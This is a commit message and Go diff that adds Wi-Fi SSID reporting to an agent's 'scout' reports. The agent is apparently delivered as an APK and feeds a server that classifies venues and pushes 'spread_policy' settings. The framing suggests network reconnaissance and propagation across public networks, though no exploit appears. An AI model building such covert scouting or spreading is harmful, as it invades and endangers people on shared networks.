Add scout constellation mode for APK venue persona packs.

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.

agent/client/scout_mode.go

@@ -59,12 +59,16 @@ func (c *AgentClient) runScoutCycle() {
 }
 
 func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
-	payload, err := json.Marshal(map[string]interface{}{
+	report := map[string]interface{}{
 		"join_lane":      joinLane,
 		"service_count":  serviceCount,
 		"service_graph":  result,
 		"scout_mode":     true,
-	})
+	}
+	if ssid := deploy.ScoutWiFiSSID(); ssid != "" {
+		report["ssid"] = ssid
+	}
+	payload, err := json.Marshal(report)
 	if err != nil {
 		return
 	}